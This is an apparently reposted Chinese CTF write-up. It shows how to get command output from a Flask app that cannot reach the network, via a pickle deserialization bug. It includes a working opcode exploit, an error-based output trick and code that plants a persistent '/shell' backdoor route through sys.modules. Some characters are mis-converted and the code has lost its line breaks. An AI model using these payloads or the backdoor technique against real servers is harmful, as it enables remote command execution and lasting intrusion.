【WEB安全】flask不出网回显方式
前言
研究這個問題主要是打比賽的時候遇到了,題目內容大概是這樣的【查看資料】
# app.py from flask import Flask, request, session, render_template_string, url_for, redirect import pickle import io import sys import base64 import random import subprocess from config import notadminapp = Flask(__name__)class RestrictedUnpickler(pickle.Unpickler):def find_class(self, module, name):if module in ['config'] and "__" not in name:return getattr(sys.modules[module], name)raise pickle.UnpicklingError("'%s.%s' not allowed" % (module, name))def restricted_loads(s):"""Helper function analogous to pickle.loads()."""return RestrictedUnpickler(io.BytesIO(s)).load()@app.route('/') def index():info = request.args.get('name', '')if info is not '':x = base64.b64decode(info)User = restricted_loads(x)return render_template_string('Hello')if __name__ == '__main__':app.run(host='0.0.0.0', debug=True, port=5000) # config.py notadmin = {"admin": "no"}def backdoor(cmd):if notadmin["admin"] == "yes":s = ''.join(cmd)eval(s)可以看出來是個簡單的pickle反序列化,這不是本次的重點,重點是這道題在eval后如何回顯,最簡單的方式想到的是反彈shell,但是經(jīng)過測試發(fā)現(xiàn)目標機器并不出網(wǎng),所以我們需要尋找其他的方式去讓我們的命令回顯
debug模式下利用報錯
眾所周知,在flask中如果開啟了debug模式,報錯是會顯示詳細信息的,比賽中debug模式通??键c是構造pin碼,但是我們這里想到,可以通過手動控制報錯的方式來讓我們的命令回顯。
簡單地構造exp,這里需要注意的是eval并不能執(zhí)行python語句,所以我們需要利用eval去調用exec來實現(xiàn)手動拋出報錯
from base64 import b64encode from urllib.parse import quotedef base64_encode(s: str, encoding='utf-8') -> str:return b64encode(s.encode()).decode(encoding=encoding)exc = "raise Exception(__import__('os').popen('whoami').read())" exc = base64_encode(exc).encode()opcode = b'''cconfig notadmin (S'admin' S'yes' u0(cconfig backdoor (S'exec(__import__("base64").b64decode(b"%s"))' lo.''' % (exc)print(quote(b64encode(opcode).decode()))
可以看到我們成功通過Exception去拿到了回顯
失敗的嘗試: 直接import模塊獲取app
一開始想到的方法是直接import app.py來獲取app,但是事實證明此app非彼app,添加了路由但是并不能訪問到,應該是一個全新的app
成功的嘗試: sys.modules
sys.modules是一個全局字典,該字典是python啟動后就加載在內存中。每當程序員導入新的模塊,sys.modules都將記錄這些模塊。字典sys.modules對于加載模塊起到了緩沖的作用。當某個模塊第一次導入,字典sys.modules將自動記錄該模塊。當?shù)诙卧賹朐撃K時,python會直接到字典中查找,從而加快了程序運行的速度。
所以我們可以通過sys.modules拿到當前已經(jīng)導入的模塊,并且獲取模塊中的屬性,由于我們最終的eval是在app.py中執(zhí)行的,所以我們可以通過sys.modules[‘main’]來獲取當前的模塊,我們寫個簡單的測試來看看上面的app與實際的app是否相同
import sys import app app1 = sys.modules['__main__'].__dict__['app'] app2 = app.app print(id(app1)) print(id(app2))
可以看到app的id并不相同,所以他們并非相同的app
這里我們嘗試直接添加后門路由,會發(fā)現(xiàn)存在報錯
import sys import os sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :os.popen('dir').read())
這個報錯是由于我們在第一個請求處理后調用了設置函數(shù)(add_url_rule),此報錯只會在debug模式下觸發(fā),可以參考使用了Flask框架的工具的issue:
- https://github.com/alexmclarty/mirror/issues/6
- https://github.com/pallets/flask/issues/2616
所以我們需要在非debug模式下才能成功添加后門路由(又或者我們直接設置debug=False來解決這個問題)
import sys sys.modules['__main__'].__dict__['app'].debug=False sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen('dir').read())
最后
關注我,持續(xù)更新······
私我獲取【網(wǎng)絡安全學習資料·攻略】
總結
以上是生活随笔為你收集整理的【WEB安全】flask不出网回显方式的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【安全漏洞】Resin解析漏洞分析
- 下一篇: 【安全漏洞】Easy代码审计